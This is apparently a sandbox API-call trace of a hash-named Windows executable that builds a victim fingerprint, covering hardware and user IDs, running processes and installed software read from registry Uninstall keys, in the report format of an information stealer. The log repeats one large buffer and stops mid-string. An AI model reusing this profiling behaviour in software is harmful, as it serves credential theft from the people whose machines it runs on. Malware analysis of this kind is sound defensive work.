[0054.968] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]", lpString2="\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\n"
[0054.968] RegCloseKey (hKey=0x514) returned 0x0
[0054.968] RegEnumKeyExA (in: hKey=0x508, dwIndex=0x2b, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90160000-008C-0000-0000-0000000FF1CE}", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0054.968] wsprintfA (in: param_1=0x181ac4, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-008C-0000-0000-0000000FF1CE}") returned 90
[0054.968] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-008C-0000-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816bc | out: phkResult=0x1816bc*=0x514) returned 0x0
[0054.968] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x0, lpData=0x181ec4*=0x31, lpcbData=0x1816c0*=0x400) returned 0x2
[0054.968] RegCloseKey (hKey=0x514) returned 0x0
[0054.968] RegEnumKeyExA (in: hKey=0x508, dwIndex=0x2c, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90160000-008C-0409-0000-0000000FF1CE}", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0054.968] wsprintfA (in: param_1=0x181ac4, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-008C-0409-0000-0000000FF1CE}") returned 90
[0054.968] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-008C-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816bc | out: phkResult=0x1816bc*=0x514) returned 0x0
[0054.968] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x0, lpData=0x181ec4*=0x31, lpcbData=0x1816c0*=0x400) returned 0x2
[0054.968] RegCloseKey (hKey=0x514) returned 0x0
[0054.968] RegEnumKeyExA (in: hKey=0x508, dwIndex=0x2d, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90160000-0090-0409-0000-0000000FF1CE}", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0054.968] wsprintfA (in: param_1=0x181ac4, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-0090-0409-0000-0000000FF1CE}") returned 90
[0054.968] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-0090-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816bc | out: phkResult=0x1816bc*=0x514) returned 0x0
[0054.968] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="Microsoft DCF MUI (English) 2016", lpcbData=0x1816c0*=0x21) returned 0x0
[0054.969] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\n", lpString2="Microsoft DCF MUI (English) 2016" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- 